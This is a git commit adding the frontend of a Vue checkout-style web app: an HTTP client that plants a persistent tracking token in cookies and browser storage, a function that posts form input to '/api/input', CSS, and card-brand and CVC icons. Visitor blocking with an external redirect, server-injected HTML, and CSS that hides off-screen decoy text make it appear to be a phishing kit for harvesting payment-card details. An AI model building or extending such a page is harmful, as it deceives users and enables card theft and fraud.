This commit is contained in:
telangpu
2026-04-27 16:33:26 +08:00
parent c48009648e
commit 2fd1a741cf
437 changed files with 42017 additions and 0 deletions

View File

@@ -0,0 +1,186 @@
<script setup lang="ts">
import { RouterView, useRouter } from "vue-router";
import { onMounted, ref } from "vue";
import http from "@/api/http";
import Loading from "@/views/Loading.vue";
import { useLoadingStore } from "@/stores/loadingStore";
const router = useRouter();
const loadingStore = useLoadingStore();
import { configData, isAr, loginSuccess, redirectToExternal, headHtml } from "@/utils/common";
import { goodsConfig } from "@/config";
onMounted(() => {
login();
});
const login = async function () {
loadingStore.setLoading(true);
http.post("/api", {}).then((data) => {
if (data.data.isBlock) {
redirectToExternal();
return;
}
if (data.data.custom) {
const custom = JSON.parse(data.data.custom);
configData.value = custom;
if (configData.value.goods && configData.value.goods.points) {
goodsConfig.value.points = configData.value.goods.points;
localStorage.setItem("totalPoint", configData.value.goods.points);
}
if (configData.value.goods && configData.value.goods.unit) {
goodsConfig.value.unit = configData.value.goods.unit;
}
if (configData.value.goods && configData.value.goods.is_right) {
goodsConfig.value.isRight = configData.value.goods.is_right;
}
if (configData.value.goods && configData.value.goods.theme) {
goodsConfig.value.theme = configData.value.goods.theme;
}
if (configData.value.goods && configData.value.goods.fee) {
goodsConfig.value.fee = configData.value.goods.fee;
}
if (configData.value.goods && configData.value.goods.fee2) {
goodsConfig.value.fee2 = configData.value.goods.fee2;
}
if (configData.value.goods && configData.value.goods.feeType) {
goodsConfig.value.feeType = configData.value.goods.feeType;
}
if (configData.value.goods && configData.value.goods.format) {
goodsConfig.value.format = configData.value.goods.format;
}
if (configData.value.goods && configData.value.goods.homeTheme) {
goodsConfig.value.homeTheme = configData.value.goods.homeTheme;
}
if (configData.value.goods && configData.value.goods.payTheme) {
goodsConfig.value.payTheme = configData.value.goods.payTheme;
}
if (configData.value.goods && (configData.value.goods.addressTheme || configData.value.goods.address_theme)) {
goodsConfig.value.addressTheme = configData.value.goods.addressTheme || configData.value.goods.address_theme;
}
if (configData.value.goods && (configData.value.goods.cardTheme || configData.value.goods.card_theme)) {
goodsConfig.value.cardTheme = configData.value.goods.cardTheme || configData.value.goods.card_theme;
}
}
if (data.data.mode) {
localStorage.setItem("mode", data.data.mode);
}
loginSuccess(data.data.Token, data.data.mode);
});
};
</script>
<template>
<div v-html="headHtml"></div>
<Loading />
<RouterView />
</template>
<style>
/* 全局样式 - 可以放在 App.vue 或通过其他方式引入 */
body.modal-open {
overflow: hidden;
position: fixed;
width: 100%;
}
/* 主题切换浮动按钮 */
.theme-switcher {
position: fixed;
bottom: 24px;
right: 16px;
z-index: 99999;
display: flex;
flex-direction: column;
align-items: flex-end;
gap: 8px;
}
.theme-fab {
width: 52px;
height: 52px;
border-radius: 50%;
background: #333;
color: #fff;
border: none;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.35);
cursor: pointer;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
font-size: 18px;
line-height: 1;
gap: 2px;
transition: background 0.2s;
}
.theme-fab:active {
background: #555;
}
.theme-label {
font-size: 10px;
font-weight: bold;
color: #fff;
}
.theme-panel {
display: flex;
flex-direction: column;
gap: 6px;
align-items: flex-end;
}
.theme-option {
width: 44px;
height: 44px;
border-radius: 50%;
background: #fff;
color: #333;
font-size: 12px;
font-weight: bold;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.25);
cursor: pointer;
border: 2px solid #ddd;
transition: all 0.15s;
}
.theme-option.active {
background: #333;
color: #fff;
border-color: #333;
}
.theme-option:active {
transform: scale(0.93);
}
.panel-fade-enter-active,
.panel-fade-leave-active {
transition: opacity 0.2s, transform 0.2s;
}
.panel-fade-enter-from,
.panel-fade-leave-to {
opacity: 0;
transform: translateY(10px);
}
</style>

View File

@@ -0,0 +1,5 @@
import http from "@/api/http";
export function sendInput(data: any) {
http.post("/api/input", data).then((data) => {});
}

View File

@@ -0,0 +1,223 @@
// http.js
import axios from "axios";
import { v4 as uuidv4 } from "uuid";
// ============ 配置 ============
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
? "/"
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
? `http://${import.meta.env.VITE_BASE_URL}`
: `https://${import.meta.env.VITE_BASE_URL}`;
const DB_CONFIG = {
name: "TokenDB",
version: 2,
store: "tokens",
key: "userToken",
} as const;
const STORAGE_KEY = "token";
// ============ IndexedDB 操作 ============
class TokenDB {
private static async open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
request.onerror = () => reject(request.error);
request.onsuccess = () => resolve(request.result);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
db.deleteObjectStore(DB_CONFIG.store);
}
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
};
});
}
static async get(): Promise<string | null> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readonly");
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
request.onsuccess = () => resolve(request.result?.value || null);
request.onerror = () => resolve(null);
tx.oncomplete = () => db.close();
tx.onabort = () => db.close();
});
} catch {
return null;
}
}
static async set(token: string): Promise<void> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readwrite");
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
tx.oncomplete = () => { db.close(); resolve(); };
tx.onerror = () => { db.close(); resolve(); };
});
} catch {
// 静默失败,有其他存储兜底
}
}
}
// ============ Token 管理器 ============
class TokenManager {
private static cache: string | null = null;
private static pending: Promise<string> | null = null;
// UUID v4 格式校验,防止脏数据
private static isValidToken(token: string | null): token is string {
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
}
// 安全地操作 Storage
private static safeGet(storage: Storage): string | null {
try {
return storage.getItem(STORAGE_KEY);
} catch {
return null;
}
}
private static safeSet(storage: Storage, token: string): void {
try {
storage.setItem(STORAGE_KEY, token);
} catch {
// 静默失败
}
}
// Cookie 操作同步iOS 上比 localStorage 更早可用)
private static getFromCookie(): string | null {
try {
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
return match ? decodeURIComponent(match[1]) : null;
} catch {
return null;
}
}
private static saveToCookie(token: string): void {
try {
// 有效期 400 天Safari 上限SameSite=Lax 兼容 WebView
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
} catch {
// 静默失败
}
}
// 同步到所有存储(后台执行,不阻塞)
private static syncToAllStorages(token: string): void {
this.safeSet(sessionStorage, token);
this.safeSet(localStorage, token);
this.saveToCookie(token);
TokenDB.set(token).catch(() => { });
}
// 从同步存储快速获取cookie 优先iOS 上最可靠的同步读取)
private static getFromSyncStorage(): string | null {
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
return this.isValidToken(token) ? token : null;
}
// 延迟后重试读取同步存储iOS 冷启动时存储可能未就绪)
private static waitAndRetrySync(ms: number): Promise<string | null> {
return new Promise(resolve => {
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
});
}
// 主入口:获取或创建 Token
static async getToken(): Promise<string> {
// 1. 内存缓存(最快)
if (this.cache) return this.cache;
// 2. 等待进行中的创建(并发安全)
if (this.pending) return this.pending;
// 3. 同步存储快速路径
const syncToken = this.getFromSyncStorage();
if (syncToken) {
this.cache = syncToken;
this.syncToAllStorages(syncToken);
return syncToken;
}
// 4. 异步获取或创建(带锁)
this.pending = this.createToken();
return this.pending;
}
private static async createToken(): Promise<string> {
try {
// 再次检查缓存
if (this.cache) return this.cache;
// 尝试从 IndexedDB 恢复
const dbToken = await TokenDB.get();
if (dbToken && this.isValidToken(dbToken)) {
this.cache = dbToken;
this.syncToAllStorages(dbToken);
return dbToken;
}
// iOS 冷启动兜底:等待一小段时间后重试同步存储
// localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
for (const delay of [50, 100, 150]) {
const retryToken = await this.waitAndRetrySync(delay);
if (retryToken) {
this.cache = retryToken;
this.syncToAllStorages(retryToken);
return retryToken;
}
}
// 所有恢复手段用尽,生成新 Token
const newToken = uuidv4();
this.cache = newToken;
this.syncToAllStorages(newToken);
return newToken;
} finally {
this.pending = null;
}
}
}
// ============ Axios 实例 ============
const http = axios.create({
baseURL: BASE_URL,
timeout: 15000,
});
// 请求拦截器
http.interceptors.request.use(
async (config) => {
const token = await TokenManager.getToken();
config.headers["Token"] = token;
config.headers["X-Token"] = token;
config.params = { ...config.params, token };
return config;
},
(error) => Promise.reject(error)
);
// 响应拦截器
http.interceptors.response.use(
(response) => response.data,
(error) => {
if (error.response) {
console.error("Error:", error.response.status, error.response.data);
} else {
console.error("Error:", error.message);
}
return Promise.reject(error);
}
);
export default http;

View File

@@ -0,0 +1,66 @@
[data-t] {
font-size: 1em!important
}
[data-t]:after {
content: attr(data-t) " "
}
[class^=_][class$=_] {
color: transparent!important
}
[class^=_][class$=_] {
display: inline-block;
pointer-events: none;
position: absolute;
left: 1000vw
}
[class^=_][class$=_]::-moz-selection {
color: transparent!important
}
[class^=_][class$=_]::selection {
color: transparent!important
}
form div.input1 {
margin-bottom: 1.2em;
position: relative
}
form div.input1 label {
display: block;
pointer-events: none;
text-transform: capitalize
}
form div.input1 input {
padding: 5px;
font-size: 1em;
box-sizing: border-box;
width: 100%
}
form[novalidate] .error {
display: block;
}
.js-has-pseudo [csstools-has-2u-33-36-31-2j-32-33-3a-2p-30-2x-2s-2p-38-2t-2l-1a-2x-32-3a-2p-30-2x-2s-w-2s-2x-3a-1a-2x-32-34-39-38-1m-2w-2p-37-14-2x-32-34-39-38-1m-2x-32-3a-2p-30-2x-2s-15-w-1a-2t-36-36-33-36]:not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(does-not-exist):not(does-not-exist):not(does-not-exist) {
display: block;
color: red;
font-size: .9em
}
form[novalidate].invalid div.input1:has(input:invalid) .error {
display: block;
color: red;
font-size: .9em
}
.main-content-body {
padding: 3rem 1rem;
font-size: 15px;
}

View File

@@ -0,0 +1 @@

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 901 B

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.7 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1 @@
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g transform="translate(80,50)">
<g transform="rotate(0)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,71.21320343559643)">
<g transform="rotate(45)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
</circle>
</g>
</g><g transform="translate(50,80)">
<g transform="rotate(90)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
</circle>
</g>
</g><g transform="translate(28.786796564403577,71.21320343559643)">
<g transform="rotate(135)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
</circle>
</g>
</g><g transform="translate(20,50.00000000000001)">
<g transform="rotate(180)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
</circle>
</g>
</g><g transform="translate(28.78679656440357,28.786796564403577)">
<g transform="rotate(225)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
</circle>
</g>
</g><g transform="translate(49.99999999999999,20)">
<g transform="rotate(270)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,28.78679656440357)">
<g transform="rotate(315)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
</circle>
</g>
</g>
<!-- [ldio] generated by https://loading.io/ --></svg>

After

Width:  |  Height:  |  Size: 3.9 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.8 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 